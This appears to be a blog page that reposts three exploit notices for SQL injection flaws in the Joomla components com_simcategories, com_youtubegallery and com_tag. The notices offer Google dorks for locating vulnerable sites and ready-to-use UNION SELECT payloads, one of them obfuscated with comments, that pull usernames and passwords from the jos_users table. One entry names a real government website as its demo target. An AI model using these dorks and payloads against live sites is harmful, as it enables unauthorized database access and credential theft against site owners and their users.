Showing posts with label Joomla. Show all posts
Showing posts with label Joomla. Show all posts

Wednesday, July 6, 2016

Joomla Com_simcategories SQL Injection Vulnerability

#######################################################################
# Exploit Title: Joomla Com_simcategories SQL Injection Vulnerability
# Author: GhostVN
# Date :30/06/2013
# Google dork: inurl:index.php?option=com_simcategories
#######################################################################
# Exploitation: index.php?option=com_simcategories&view=simprovider&id=1[SQLI]
# SQL Exploit : index.php?option=com_simcategories&view=simprovider&id=-1' UNION SELECT 1,group_concat(username,0x7c,password),3,4,5,6,7 from jos_users-- -

Joomla component com_youtubegallery - SQL Injection

Exploit Title: Joomla component com_youtubegallery - SQL Injection
vulnerability
# Google Dork: inurl:index.php?option=com_youtubegallery
# Site POF: http://server/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1'&videoid=ETMVUuFbToQ&tmpl=component&TB_iframe=true&height=500&width=700

exploit com_tag joomla

Dork 
inurl:index.php?option=com_tag
Demo : 
http://www.udc.gov.bb/index.php?option=c...&Itemid=18
Thay : index.php?option=com_tag&view=alltags&Itemid=18 
Thành : index.php?option=com_tag&controller=tag&task=add&article_id=-1/**//*!union*//**//*!select*//**/concat%28username,0x3a,password,0x3a,usertype%29/**//*!from*//**/jos_users/**/&tmpl=component